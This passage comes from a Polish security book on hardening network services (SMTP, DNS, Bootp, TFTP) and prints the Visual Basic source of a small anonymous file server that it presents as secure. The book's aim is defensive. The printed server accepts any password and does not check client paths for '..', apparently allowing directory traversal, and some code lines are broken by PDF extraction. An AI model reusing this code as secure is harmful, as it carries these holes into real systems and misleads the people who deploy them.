ciągu nie uzyska dostępu do wewnętrznej sieci LAN (patrz rysunek 1.18). W obu przy-
padkach zapora przeprowadza translację NAT i filtrowanie, dopuszczając komunikację
z serwerem SMTP wyłącznie przez port 25. Serwer skonfigurowany jest oczywiście
jako brama przekazująca wiadomości e-mail z lokalnej domeny pocztowej. W żadnym
przypadku demon nie przyjmuje żądań przekazania poczty pochodzących z zewnątrz.

background image


Rozdział 1.

Zabezpieczanie portów i usług

39

39

Rysunek 1.18.
Układ
SMTP-NAT-DMZ

Port 53: Domain

Zadaniem usługi nazw domen (DNS, Domain Name Service), określanej również jako
Bind, jest translacja nazw domen na odpowiadające im adresy IP. Jak opisano to
w pierwszym tomie niniejszej książki, przesyłane Internetem datagramy korzystają
z adresów. Wynika stąd, że zawsze, gdy pojawia się nazwa domeny, demon usługi DNS
musi wykonać jej przekształcenie na adres IP. Najprostszą ilustracją tej zależności
może być sytuacja, gdy wprowadzamy nazwę domeny, np.

TigerTools.net

, w przeglądarce

WWW. Serwer DNS dostarcza wówczas odpowiednie mapowanie, łączące nazwę z adre-
sem, i tam właśnie kierowany jest użytkownik. Tej samej procedury wymaga dostarczanie
poczty SMTP, tworzenie połączeń FTP, zdalny dostęp przy użyciu Telnetu i inne formy
komunikacji.

Usługa Domain nie jest w pełni standardem w systemach operacyjnych. W systemie
Windows NT trzeba zadbać o jej zainstalowanie, w systemach UNIX wymaga niezależnej
kompilacji. Gdy korzystanie z niej jest niezbędne, zaleca się skorzystanie z usług ISP
albo umieszczenie serwera poza zaporą firewall, w strefie (sieci) DMZ (sieci DMZ
opisano w części poświęconej ochronie portu 25, SMTP). Istotna jest również aktualizacja
do najnowszej wersji oprogramowania.

Jeżeli wykupienie obsługi DNS u usługodawcy internetowego nie jest rozwiązaniem
wystarczającym, pozostają rozwiązania realizowane we własnym zakresie. Należy pamię-
tać o dwóch środkach zapobiegającym nadużyciom:









Odwrotne zapytania DNS. Należy zapewnić, aby demon DNS zapewniał
realizację odwrotnych wyszukiwań DNS, aby zabezpieczyć się przed przejęciem
kontroli nad serwerem DNS i odwzorowywaniem nieuprawnionej stacji jako
bezpiecznej.









Informacje o wersji oprogramowania DNS. Z oczywistych powodów,
warto zadbać o zmodyfikowanie modułu demona DNS tak, aby nie udostępniał
na zewnątrz informacji o wersji oprogramowania usługi. Dane te można
często uzyskać korzystając ze standardowych zapytań DNS. W tym zakresie

background image


40

Hack Wars. Tom 2. Na tropie hakerów

40

pomocny powinien być opisywany w pierwszym tomie niniejszej książki
TigerSuite (patrz rysunek 1.19).

Rysunek 1.19.
Ujawniane dane DNS

Port 67: Bootp

Demon usługi Bootp umożliwia bezdyskowej stacji roboczej uzyskanie własnego
adresu IP. Serwer Bootp zarządza tym procesem opierając się na, kierowanych do bazy
danych, zapytaniach. Kluczem danych w bazie są składniki sprzętowe stacji roboczej
lub jej adres MAC.

Poza omawianymi w dalszej części książki technikami zabezpieczającymi przed zwo-
dzeniem (ang. spoofing) i przepełnianiem (ang. flooding), podstawowym czynnikiem
jest odpowiednie przygotowanie listy węzłów. Demon musi posiadać taką listę (operującą
adresami MAC). Określa ona, które ze stacji uprawnione zostały do otrzymywania
danych z serwera Bootp. Ponadto, podobnie jak w przypadku wielu innych demonów
usług, warto zadbać o osłonę usługi przy użyciu narzędzia Tcp_wrapper, opisanego
wcześniej, przy opisie zabezpieczania protokołu Telnet. Odpowiednią modyfikację
pliku

inetd.conf

przedstawiono na rysunku 1.20.

Rysunek 1.20.
Osłanianie portu 67
i usługi Bootp

Port 69: TFTP

Nie będzie chyba niespodzianką stwierdzenie, że ta uproszczona wersja demona FTP
powinna zostać wyłączona lub stosowana wyłącznie w lokalnych, „godnych zaufania”
segmentach sieci. Brak mechanizmów zabezpieczeń i różnorodne wady w licznych
odmianach demona TFTP sprawiają, że niemal każdy użytkownik Internetu, korzystając
z prostych technik, pobrać może kopie takich plików jak

/etc/passwd

.

background image


Rozdział 1.

Zabezpieczanie portów i usług

41

41

Oznaczenie wiersza opisującego usługę TFTP w pliku

/etc/inetd.conf

jako komentarza

zapewni dezaktywację demona. Nie można oczywiście zapomnieć o restarcie inetd
lub całego systemu operacyjnego. W systemach Windows, modyfikujemy konfigurację
uruchomieniową lub przerywamy pracę procesu aktywnego, co opisano w części poświę-
conej zabezpieczeniu portu 21 (FTP).

Gdy demon TFTP musi pracować w systemie, zadbać należy o uzyskanie jego najnowszej
wersji oraz zastosować osłonę. To ostatnie opisano w części, w której piszemy o zabez-
pieczaniu portu 23 (Telnet).

Tiger TFTP

Przedstawimy teraz oprogramowanie TigerTFTPServ — rozwiązanie dla domowych
i prywatnych użytkowników Windows, którzy pragną wysokiego poziomu kontroli
pracy protokołu (patrz rysunek 1.21). Program może być bez ograniczeń modyfikowany,
rozpowszechniany i stosowany. TigerTFTPServ to uproszczona wersja oprogramowania
FTP, prowadząca nasłuch w oczekiwaniu żądań połączeń na porcie 69. Zgodnie z wy-
tycznymi protokołu TFTP, program dopuszcza co najwyżej jeden strumień połączenia
(największa dopuszczalna liczba połączeń może zostać zmieniona w drodze prostej
modyfikacji kodu) z jednym katalogiem, wykorzystywanym przy przesyłaniu plików.
Kod może zostać poprawiony tak, aby akceptowani byli użytkownicy uwierzytelnieni;
należy jednak zauważyć, że przedstawiona wersja obsługuje sesje anonimowe. W skład
narzędzia wchodzi analizator sesji, pozwalający monitorować wszystkie transakcje
z katalogu

c:\tftp

.

Rysunek 1.21.
Bezpieczny demon
TFTP dla Windows
— TigerTFTPServ

Formularz główny

Option Explicit

Public WithEvents FTPServer As Server

Private Sub Command1_Click()
StartServer
End Sub

Private Sub Command2_Click()

background image


42

Hack Wars. Tom 2. Na tropie hakerów

42

StopServer
End Sub

Private Sub Command3_Click()
Unload Me
End
End Sub

Private Sub Form_Load()
Set FTPServer = New Server
Set frmWinsock.FTPServer = FTPServer

End Sub

Public Sub Form_Resize()
On Error Resume Next
txtSvrLog.Width = (frmMain.Width - 120)
txtSvrLog.Height = (frmMain.Height - 690)
End Sub

Public Sub Form_UnLoad(Cancel As Integer)
StopServer
Set FTPServer = Nothing
Set frmWinsock.FTPServer = Nothing
Unload frmWinsock
Unload Me
Set frmWinsock = Nothing
Set frmMain = Nothing
End
End Sub

Private Sub FTPServer_ServerStarted()
WriteToLogWindow "Listening!", True
End Sub

Private Sub FTPServer_ServerStopped()
WriteToLogWindow "Stopped!", True
End Sub

Private Sub FTPServer_ServerErrorOccurred(ByVal errNumber As

Long)

MsgBox FTPServer.ServerGetErrorDescription(errNumber),

vbInformation,

"Error occured!"
End Sub

Private Sub FTPServer_NewClient(ByVal ClientID As Long)
WriteToLogWindow "Client " & ClientID & " connected! (" &
FTPServer.GetClientIPAddress(ClientID) & ")", True
End Sub

Private Sub FTPServer_ClientSentCommand(ByVal ClientID As Long,

Command As String, Args As String)

WriteToLogWindow "Client " & ClientID & " sent: " &

Command & " "

& Args, True
End Sub

Private Sub FTPServer_ClientStatusChanged(ByVal ClientID As Long)
WriteToLogWindow "Client " & ClientID & " Status: " &
FTPServer.GetClientStatus(ClientID), True
End Sub

background image


Rozdział 1.

Zabezpieczanie portów i usług

43

43

Private Sub FTPServer_ClientLoggedOut(ByVal ClientID As Long)
WriteToLogWindow "Client " & ClientID & " logged out!", True
End Sub

Winsock

Option Explicit

Public WithEvents FTPServer As Server

Private Sub CommandSock_ConnectionRequest(Index As Integer, ByVal

requestID As Long)

DoEvents
FTPServer.NewClient requestID
End Sub

Private Sub DataSock_ConnectionRequest(Index As Integer, ByVal

requestID As Long)

DoEvents
DataSock(Index).Close
DataSock(Index).Accept requestID
End Sub

Private Sub CommandSock_DataArrival(Index As Integer, ByVal

bytesTotal As Long)

DoEvents
Dim raw_data As String
CommandSock(Index).GetData raw_data
FTPServer.ProcFTPCommand Index, raw_data
End Sub

Private Sub DataSock_SendComplete(Index As Integer)
DoEvents
FTPServer.SendComplete Index
End Sub

Private Sub CommandSock_Close(Index As Integer)
DoEvents
FTPServer.LogoutClient , Index
End Sub

Funkcje

Option Explicit

Public Sub WriteToLogWindow(strString As String, Optional TimeStamp

As Boolean)

Dim strTimeStamp As String
Dim tmpText As String
If TimeStamp = True Then strTimeStamp = "[" & Now & "] "
tmpText = frmMain.txtSvrLog.Text
If Len(tmpText) > 20000 Then tmpText = Right$(tmpText, 20000)
frmMain.txtSvrLog.Text = tmpText & vbCrLf & strTimeStamp &

strString

frmMain.txtSvrLog.SelStart = Len(frmMain.txtSvrLog.Text)
End Sub

Public Function StripNulls(strString As Variant) As String
If InStr(strString, vbNullChar) Then
StripNulls = Left(strString, InStr(strString, vbNullChar) -

1)

Else
StripNulls = strString
End If
End Function

background image


44

Hack Wars. Tom 2. Na tropie hakerów

44

Sterowanie portem

Option Explicit


Public Sub StartServer()
Dim r As Long
With frmMain
.FTPServer.ListeningPort = 69
.FTPServer.ServerMaxClients = 1
r = .FTPServer.StartServer()
If r <> 0 Then
MsgBox .FTPServer.ServerGetErrorDescription(r),

vbCritical

End If
End With
End Sub

Public Sub StopServer()
frmMain.FTPServer.ShutdownServer
End Sub

Aparat serwera

Option Explicit

Private Port As Long
Private MaxClients As Integer
Private TransferBufferSize As Long
Private ClientCounter As Long
Private ConnectedClients As Long
Private ServerActive As Boolean
Private Enum ClientStatus
stat_IDLE = 0
stat_LOGGING_IN = 1
stat_GETTING_DIR_LIST = 2
stat_UPLOADING = 3
stat_DOWNLOADING = 4
End Enum

Private Enum ConnectModes
cMode_NORMAL = 0
cMode_PASV = 1
End Enum

Private Type ftpClient

inUse As Boolean
ID As Long
UserName As String
IPAddress As String
DataPort As Long
ConnectedAt As String
IdleSince As String
TotalBytesUploaded As Long
TotalBytesDownloaded As Long
TotalFilesUploaded As Long
TotalFilesDownloaded As Long
CurrentFile As String
cFileTotalBytes As Long
cTotalBytesXfer As Long
fFile As Long
ConnectMode As ConnectModes

background image


Rozdział 1.

Zabezpieczanie portów i usług

45

45

HomeDir As String
CurrentDir As String
Status As ClientStatus

End Type

Private Const MAX_IDLE_TIME = 900
Private Const MAX_CONNECTIONS = 500
Private client(MAX_CONNECTIONS) As ftpClient
Public Event ServerErrorOccurred(ByVal errNumber As Long)
Public Event ServerStarted()
Public Event ServerStopped()
Public Event NewClient(ByVal ClientID As Long)
Public Event ClientLoggedIn(ByVal ClientID As Long)
Public Event ClientLoggedOut(ByVal ClientID As Long)
Public Event ClientSentCommand(ByVal ClientID As Long, Command As
String, Args As String)
Public Event ClientStatusChanged(ByVal ClientID As Long)
Private Declare Function FindFirstFile Lib "kernel32" Alias

"FindFirstFileA" ( _

ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA _
) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias

"FindNextFileA" ( _

ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA _
) As Long
Private Declare Function FileTimeToSystemTime Lib "kernel32" ( _
lpFileTime As FILETIME, _
lpSystemTime As SYSTEMTIME _
) As Long
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Declare Function FindClose Lib "kernel32" ( _
ByVal hFindFile As Long _
) As Long
Private Const MAX_PATH = 260
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Long

background image


46

Hack Wars. Tom 2. Na tropie hakerów

46

End Type

Public Property Get ListeningPort() As Long
ListeningPort = Port
End Property

Public Property Let ListeningPort(NewPort As Long)
If Port = 0 Then
Port = NewPort
End If
End Property

Public Property Get ServerMaxClients() As Integer
ServerMaxClients = MaxClients
End Property

Public Property Let ServerMaxClients(Max As Integer)
If Max >= 0 Then
MaxClients = Max
End If
End Property

Public Property Get TransBufferSize() As Long
TransBufferSize = TransferBufferSize
End Property

Public Property Let TransBufferSize(BuffSize As Long)
If BuffSize > 0 Then
TransferBufferSize = BuffSize
End If
End Property

Public Property Get CurrentConnectedClients() As Long
CurrentConnectedClients = ConnectedClients
End Property

Public Property Get CurrentClientCounter() As Long
CurrentClientCounter = ClientCounter
End Property

Public Property Get GetClientConnectedAt(ClientID As Long) As

String

GetClientConnectedAt =

client(GetClientArrayLocByID(ClientID)).ConnectedAt

End Property

Public Property Get GetClientConnectMode(ClientID As Long) As

String

GetClientConnectMode =

client(GetClientArrayLocByID(ClientID)).ConnectMode

End Property

Public Property Get GetClientcTotalBytesXfer(ClientID As Long) As

Long

GetClientcTotalBytesXfer =

client(GetClientArrayLocByID(ClientID)).cTotalBytesXfer

End Property

Public Property Get GetClientcFileTotalBytes(ClientID As Long) As

Long

GetClientcFileTotalBytes =

client(GetClientArrayLocByID(ClientID)).cFileTotalBytes

End Property

background image


Rozdział 1.

Zabezpieczanie portów i usług

47

47

Public Property Get GetClientCurrentDir(ClientID As Long) As String
GetClientCurrentDir =

client(GetClientArrayLocByID(ClientID)).CurrentDir

End Property

Public Property Get GetClientCurrentFile(ClientID As Long) As

String

GetClientCurrentFile =

client(GetClientArrayLocByID(ClientID)).CurrentFile

End Property

Public Property Get GetClientDataPort(ClientID As Long) As Long
GetClientDataPort =

client(GetClientArrayLocByID(ClientID)).DataPort

End Property

Public Property Get GetClientfFile(ClientID As Long) As Long
GetClientfFile = client(GetClientArrayLocByID(ClientID)).fFile
End Property

Public Property Get GetClientHomeDir(ClientID As Long) As String
GetClientHomeDir =

client(GetClientArrayLocByID(ClientID)).HomeDir

End Property

Public Property Get GetClientIdleSince(ClientID As Long) As Long
GetClientIdleSince =

client(GetClientArrayLocByID(ClientID)).IdleSince

End Property

Public Property Get GetClientIPAddress(ClientID As Long) As String
GetClientIPAddress =

client(GetClientArrayLocByID(ClientID)).IPAddress

End Property

Public Property Get GetClientStatus(ClientID As Long) As String
GetClientStatus =

ServerGetClientStatusDescription(client(GetClientArrayLocByID(
ClientID)).Status)

End Property

Public Property Get GetClientTotalBytesDownloaded(ClientID As Long)

As Long

GetClientTotalBytesDownloaded =
client(GetClientArrayLocByID(ClientID)).TotalBytesDownloaded
End Property

Public Property Get GetClientTotalBytesUploaded(ClientID As Long)

As Long

GetClientTotalBytesUploaded =
client(GetClientArrayLocByID(ClientID)).TotalBytesUploaded
End Property

Public Property Get GetClientTotalFilesDownloaded(ClientID As Long)

As Long

GetClientTotalFilesDownloaded =
client(GetClientArrayLocByID(ClientID)).TotalFilesDownloaded
End Property

Public Property Get GetClientTotalFilesUploaded(ClientID As Long)

As Long

GetClientTotalFilesUploaded =
client(GetClientArrayLocByID(ClientID)).TotalFilesUploaded

background image


48

Hack Wars. Tom 2. Na tropie hakerów

48

End Property

Public Property Get GetClientUserName(ClientID As Long) As String
GetClientUserName =

client(GetClientArrayLocByID(ClientID)).UserName

End Property

Public Function StartServer() As Long
If ServerActive = True Then
StartServer = 1001
Exit Function
End If
If Port < 1 Then
StartServer = 1002
Exit Function
End If
If TransferBufferSize < 1 Then TransferBufferSize = 4096
With frmWinsock.CommandSock(0)
.LocalPort = Port
.Listen
End With
ServerActive = True
RaiseEvent ServerStarted
End Function

Public Sub NewClient(requestID As Long)
Dim tmpID As Long
Dim i As Integer
ConnectedClients = ConnectedClients + 1
ClientCounter = ClientCounter + 1
tmpID = ClientCounter
Do
i = i + 1
Loop Until client(i).inUse = False
With client(i)
.inUse = True
Load frmWinsock.CommandSock(i)
Load frmWinsock.DataSock(i)
frmWinsock.CommandSock(i).Accept requestID
.ConnectedAt = Now
.ID = tmpID
.Status = stat_LOGGING_IN
.IdleSince = Now
.IPAddress = frmWinsock.CommandSock(i).RemoteHostIP
End With
RaiseEvent NewClient(client(i).ID)
If ((ConnectedClients > MaxClients) And (MaxClients <> 0)) Or

(ConnectedClients > MAX_CONNECTIONS) Then

SendResponse i, "421 Too many users - try again later."
LogoutClient , i
Exit Sub
End If
SendResponse i, "220 P1mp FTP Engine version " & App.Major & ".0"

& App.Minor & " build " & App.Revision

End Sub

Private Sub SendResponse(sckArrayLoc As Integer, data As String)
frmWinsock.CommandSock(sckArrayLoc).SendData data & vbCrLf
DoEvents
End Sub

Private Sub SendData(sckArrayLoc As Integer, data As String)
frmWinsock.DataSock(sckArrayLoc).SendData data

background image


Rozdział 1.

Zabezpieczanie portów i usług

49

49

End Sub

Public Sub SendComplete(sckArrayLoc As Integer)
With client(sckArrayLoc)
Select Case .Status
Case stat_GETTING_DIR_LIST
frmWinsock.DataSock(sckArrayLoc).Close
SendResponse sckArrayLoc, "226 Transfer complete."
.Status = stat_IDLE
RaiseEvent ClientStatusChanged(.ID)

Case stat_DOWNLOADING
If .cFileTotalBytes = .cTotalBytesXfer Then
Close #.fFile
frmWinsock.DataSock(sckArrayLoc).Close
.DataPort = 0
SendResponse sckArrayLoc, "226 Transfer

complete."

.cFileTotalBytes = 0
.cTotalBytesXfer = 0
.Status = stat_IDLE
RaiseEvent ClientStatusChanged(.ID)
Else
SendFile sckArrayLoc
End If
End Select
End With
End Sub

Private Sub LoginClient(cArrayLoc As Integer, Password As String)
With client(cArrayLoc)
.HomeDir = "C:\TFTP"
.CurrentDir = .HomeDir
SendResponse cArrayLoc, "230 User logged in, proceed."
.Status = stat_IDLE
End With
RaiseEvent ClientLoggedIn(ByVal client(cArrayLoc).ID)
RaiseEvent ClientStatusChanged(ByVal client(cArrayLoc).ID)
End Sub

Public Sub LogoutClient(Optional ByVal ID As Long, Optional cArrayLoc

As Integer)

On Error Resume Next
If ID = 0 And cArrayLoc = 0 Then Exit Sub
Dim ArrayPos As Integer
Dim tmp As Long
If ID = 0 Then
ArrayPos = cArrayLoc
Else
ArrayPos = GetClientArrayLocByID(ID)
End If
If client(ArrayPos).ID = 0 Then Exit Sub
If ArrayPos < 1 Then Exit Sub
With client(ArrayPos)
frmWinsock.CommandSock(ArrayPos).Close
frmWinsock.DataSock(ArrayPos).Close
Unload frmWinsock.CommandSock(ArrayPos)
Unload frmWinsock.DataSock(ArrayPos)
If .fFile <> 0 Then Close #.fFile
.ConnectedAt = ""
.ConnectMode = 0
.cTotalBytesXfer = 0

background image


50

Hack Wars. Tom 2. Na tropie hakerów

50

.cFileTotalBytes = 0
.CurrentDir = ""
.CurrentFile = ""
.DataPort = 0
.fFile = 0
.HomeDir = ""
tmp = .ID
.ID = 0
.IdleSince = ""
.IPAddress = ""
.Status = stat_IDLE
.TotalBytesDownloaded = 0
.TotalBytesUploaded = 0
.TotalFilesDownloaded = 0
.TotalFilesUploaded = 0
.UserName = ""
.inUse = False
End With

If ConnectedClients > 0 Then ConnectedClients =

ConnectedClients - 1

RaiseEvent ClientLoggedOut(ByVal tmp)

End Sub

Private Function GetClientArrayLocByID(ByVal ID As Long) As Integer
Dim i As Integer

For i = 0 To UBound(client)
If client(i).ID = ID Then
GetClientArrayLocByID = i
Exit Function
End If
Next
GetClientArrayLocByID = -1

End Function

Public Sub ProcFTPCommand(ByVal sckArrayLoc As Integer, ByRef raw_data

As String)

Dim data
Dim ftpCommand As String
Dim ftpArgs As String

data = Replace$(raw_data, vbCrLf, "")

If InStr(data, " ") = 0 Then
ftpCommand = data
Else
ftpCommand = Left$(data, (InStr(data, " ") - 1))
ftpArgs = Right$(data, (Len(data) - InStr(data, " ")))
End If

RaiseEvent ClientSentCommand(client(sckArrayLoc).ID,

ftpCommand, ftpArgs)

client(sckArrayLoc).IdleSince = Now

Select Case UCase$(ftpCommand)

Case "USER"
If ftpArgs = "anonymous" Then
client(sckArrayLoc).UserName = ftpArgs

background image


Rozdział 1.

Zabezpieczanie portów i usług

51

51

SendResponse sckArrayLoc, "331 User name ok, need

password."

Else
SendResponse sckArrayLoc, "530 Not logged in: No

such

account " & ftpArgs
End If

Case "PASS"
LoginClient sckArrayLoc, ftpArgs
Case "TYPE"
SendResponse sckArrayLoc, "200 Type set to " & ftpArgs

Case "REST"
SendResponse sckArrayLoc, "350 Restarting at " &

ftpArgs & " - send

STORE or RETRIEVE to initiate transfer."

Case "PWD"
SendResponse sckArrayLoc, "257 " & Chr(34) _
& ConvPathToRelative(client(sckArrayLoc).HomeDir,

client(sckArrayLoc).CurrentDir) _

& Chr(34) & " is current directory."

Case "PORT"
Dim tmpArray() As String
tmpArray = Split(ftpArgs, ",")
client(sckArrayLoc).DataPort = tmpArray(4) * 256 Or

tmpArray(5)

SendResponse sckArrayLoc, "200 Port command

successful."

Case "LIST"
SendResponse sckArrayLoc, "150 Opening ASCII mode data

connection
for /bin/ls."


client(sckArrayLoc).Status = stat_GETTING_DIR_LIST
RaiseEvent ClientStatusChanged(client(sckArrayLoc).ID)

GetDirectoryList sckArrayLoc

Case "RETR"
GetFileToSend sckArrayLoc, ftpArgs

Case "CWD"
ChangeDirectory sckArrayLoc, ftpArgs

Case "CDUP"
Dim tmp As String

tmp = client(sckArrayLoc).CurrentDir
If isRootDir(sckArrayLoc, tmp) = False Then

If Right$(tmp, 1) = "\" Then tmp = Left$(tmp,

Len(tmp) - 1)

tmp = Left$(tmp, InStrRev(tmp, "\"))
End If

ChangeDirectory sckArrayLoc,

ConvPathToRelative(client(sckArrayLoc).HomeDir, tmp)


Case "PASV"

background image


52

Hack Wars. Tom 2. Na tropie hakerów

52

client(sckArrayLoc).ConnectMode = cMode_PASV
SendResponse sckArrayLoc, "227 Entering Passive Mode ("

_

& Replace(frmWinsock.CommandSock(0).LocalIP, ".",

",") &
OpenLocalDataPort(sckArrayLoc) & ")"

Case "NOOP"
SendResponse sckArrayLoc, "200 NOOP command

successful."

Case Else
SendResponse sckArrayLoc, "502 Command not

implemented."

End Select

End Sub

Private Sub GetDirectoryList(cArrayLoc As Integer)
Dim hFile As Long
Dim r As Long
Dim fname As String
Dim WFD As WIN32_FIND_DATA
Dim dirList As String
Dim permissions As String
hFile = FindFirstFile(client(cArrayLoc).CurrentDir & "*.*" +

Chr$(0), WFD)

If Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)

<> "." And Left$(WFD.cFileName, InStr(WFD.cFileName,
vbNullChar) - 1) <> ".." Then

If (WFD.dwFileAttributes And vbDirectory) Then
permissions = "drwx------"
Else
permissions = "-rwx------"
End If

dirList = permissions _
& " 1 user group " _
& WFD.nFileSizeLow _
& get_date(WFD.ftLastWriteTime) _
& Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar)

- 1) _

& vbCrLf
End If

While FindNextFile(hFile, WFD)
If Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) -

1) <> "." And
Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)
<> ".." Then

If (WFD.dwFileAttributes And vbDirectory) Then
permissions = "drwx------"
Else
permissions = "-rwx------"
End If
dirList = dirList _
& permissions _
& " 1 user group " _
& WFD.nFileSizeLow _
& get_date(WFD.ftLastWriteTime) _
& Left$(WFD.cFileName, InStr(WFD.cFileName,

vbNullChar) - 1) _

background image


Rozdział 1.

Zabezpieczanie portów i usług

53

53

& vbCrLf
End If

DoEvents

Wend

r = FindClose(hFile)

MakeDataConnection cArrayLoc

If dirList = "" Then

frmWinsock.DataSock(cArrayLoc).Close
SendResponse cArrayLoc, "226 Transfer complete."

client(cArrayLoc).Status = stat_IDLE
RaiseEvent ClientStatusChanged(client(cArrayLoc).ID)
Exit Sub
End If

SendData cArrayLoc, dirList

End Sub

Private Function MakeDataConnection(sckArrayLoc As Integer) As Long
If client(sckArrayLoc).ConnectMode = cMode_NORMAL Then
frmWinsock.DataSock(sckArrayLoc).RemoteHost =

client(sckArrayLoc).IPAddress

frmWinsock.DataSock(sckArrayLoc).RemotePort =

client(sckArrayLoc).DataPort

frmWinsock.DataSock(sckArrayLoc).Connect
End If

Do
DoEvents
Loop Until frmWinsock.DataSock(sckArrayLoc).State =

sckConnected

End Function

Private Function OpenLocalDataPort(sckArrayLoc As Integer) As

String

Dim Nr1 As Integer
Dim Nr2 As Integer

Randomize Timer
Nr1 = Int(Rnd * 12) + 5
Nr2 = Int(Rnd * 254) + 1

frmWinsock.DataSock(sckArrayLoc).Close
frmWinsock.DataSock(sckArrayLoc).LocalPort = (Nr1 * 256) Or Nr2
frmWinsock.DataSock(sckArrayLoc).Listen

OpenLocalDataPort = "," & Nr1 & "," & Nr2

End Function

Private Function isRootDir(cArrayLoc As Integer, strDir As String)

As Boolean

If client(cArrayLoc).HomeDir = strDir Then isRootDir = True

End Function

background image


54

Hack Wars. Tom 2. Na tropie hakerów

54

Private Sub ChangeDirectory(cArrayLoc As Integer, ChangeTo As

String)

If Left$(ChangeTo, 1) = "/" Then

If FileExists(ConvPathToLocal(client(cArrayLoc).HomeDir,

ChangeTo)) =

True Then
client(cArrayLoc).CurrentDir =
ConvPathToLocal(client(cArrayLoc).HomeDir, ChangeTo)
Else
SendResponse cArrayLoc, "550 " & ChangeTo & ": No such

file or

directory."
Exit Sub
End If
Else

If FileExists(ConvPathToLocal(client(cArrayLoc).CurrentDir,

ChangeTo)) =

True Then
client(cArrayLoc).CurrentDir =
ConvPathToLocal(client(cArrayLoc).CurrentDir, ChangeTo)
Else
SendResponse cArrayLoc, "550 " & ChangeTo & ": No such

file or

directory."
Exit Sub
End If
End If

SendResponse cArrayLoc, "250 Directory changed to " &

ConvPathToRelative(client(cArrayLoc).HomeDir,
client(cArrayLoc).CurrentDir)


End Sub

Private Sub GetFileToSend(cArrayLoc As Integer, File As String)

With client(cArrayLoc)

If FileExists(.CurrentDir & File) = False Then
SendResponse cArrayLoc, "550 " & File & ": No such file

or

directory."
Exit Sub
End If

.cFileTotalBytes = FileLen(.CurrentDir & File)

.CurrentFile = .CurrentDir & File

SendResponse cArrayLoc, "150 Opening BINARY mode data

connection for " &
File & " (" & .cFileTotalBytes & " bytes)"


.fFile = FreeFile
Open .CurrentDir & File For Binary Access Read As #.fFile

.Status = stat_DOWNLOADING
RaiseEvent ClientStatusChanged(.ID)
End With

background image


Rozdział 1.

Zabezpieczanie portów i usług

55

55

MakeDataConnection cArrayLoc

SendFile cArrayLoc

End Sub

Private Sub SendFile(cArrayLoc As Integer)

Dim BlockSize As Integer
Dim DataToSend As String

BlockSize = TransferBufferSize

With client(cArrayLoc)
If BlockSize > (.cFileTotalBytes - .cTotalBytesXfer) Then
BlockSize = (.cFileTotalBytes - .cTotalBytesXfer)
End If
DataToSend = Space$(BlockSize)
Get #.fFile, , DataToSend
.cTotalBytesXfer = .cTotalBytesXfer + BlockSize
.TotalBytesDownloaded = .TotalBytesDownloaded + BlockSize
End With
SendData cArrayLoc, DataToSend
End Sub

Public Function ShutdownServer() As Long
frmWinsock.CommandSock(0).Close
ServerActive = False
RaiseEvent ServerStopped
End Function

Private Function ConvPathToLocal(ByVal StartPath As String, ByVal

CurrentPath As

String) As String
Dim result As String
If Right$(StartPath, 1) <> "\" Then StartPath = StartPath & "\"
If Left$(CurrentPath, 1) = "/" Then CurrentPath =

Right$(CurrentPath,

Len(CurrentPath) - 1)
CurrentPath = Replace$(CurrentPath, "/", "\")
result = StartPath & CurrentPath
If Right$(result, 1) <> "\" Then result = result & "\"
ConvPathToLocal = result
End Function

Private Function ConvPathToRelative(ByVal StartPath As String,

ByVal CurrentPath

As String) As String
If Right$(StartPath, 1) <> "\" Then StartPath = StartPath & "\"
If Right$(CurrentPath, 1) <> "\" Then CurrentPath = CurrentPath

& "\"


Dim strRelPath As String

If StartPath = CurrentPath Then
strRelPath = "/"
Else
strRelPath = Replace$(CurrentPath, StartPath, "/")
strRelPath = Replace$(strRelPath, "\", "/")

background image


56

Hack Wars. Tom 2. Na tropie hakerów

56

If Right$(strRelPath, 1) = "/" Then strRelPath =

Left$(strRelPath,
Len(strRelPath) - 1)

End If
ConvPathToRelative = strRelPath
End Function

Public Function ServerGetClientStatusDescription(ByVal stat As

Integer) As String

Select Case stat
Case stat_IDLE: ServerGetClientStatusDescription = "Idle"
Case stat_LOGGING_IN: ServerGetClientStatusDescription =

"Connecting..."

Case stat_GETTING_DIR_LIST:

ServerGetClientStatusDescription =
"Downloading list of files"

Case stat_UPLOADING: ServerGetClientStatusDescription =

"Uploading"

Case stat_DOWNLOADING: ServerGetClientStatusDescription =

"Downloading"

Case Else: ServerGetClientStatusDescription = "Unknown

status"

End Select
End Function

Public Function ServerGetErrorDescription(ByVal errCode As Long) As

String

Select Case errCode
Case 1001: ServerGetErrorDescription = "Server is already

running."

Case 1002: ServerGetErrorDescription = "Server failed to

start becuase
no port or invalid port was specified."


Case Else: ServerGetErrorDescription = "Unknown error " &

errCode

End Select
End Function

Private Function get_date(FT As FILETIME) As String
Dim ST As SYSTEMTIME
Dim r As Long
Dim ds As String

r = FileTimeToSystemTime(FT, ST)

ds = DateSerial(ST.wYear, ST.wMonth, ST.wDay)

If DateDiff("d", ds, Date) > 365 Then
get_date = Format$(ds, " mmm dd yyyy ")
Else
get_date = Format$(ds & " " & ST.wHour & ":" & ST.wMinute, "

mmm dd hh:mm ")

End If

End Function

Private Function FileExists(FileName As String) As Boolean

Dim hFindFile As Long
Dim FileData As WIN32_FIND_DATA
If Right(FileName, 1) = "\" Then

background image


Rozdział 1.

Zabezpieczanie portów i usług

57

57

FileName = FileName & "*.*"
End If

hFindFile = FindFirstFile(FileName, FileData)
If hFindFile = -1 Then
FileExists = False
Else
FileExists = True
End If

FindClose hFindFile

End Function

Port 79: Finger

W pierwszym tomie omówiliśmy demon usługi Finger i to, jak istotne informacje można
dzięki niemu uzyskać przy stosunkowo niewielkim wysiłku. W większości przypad-
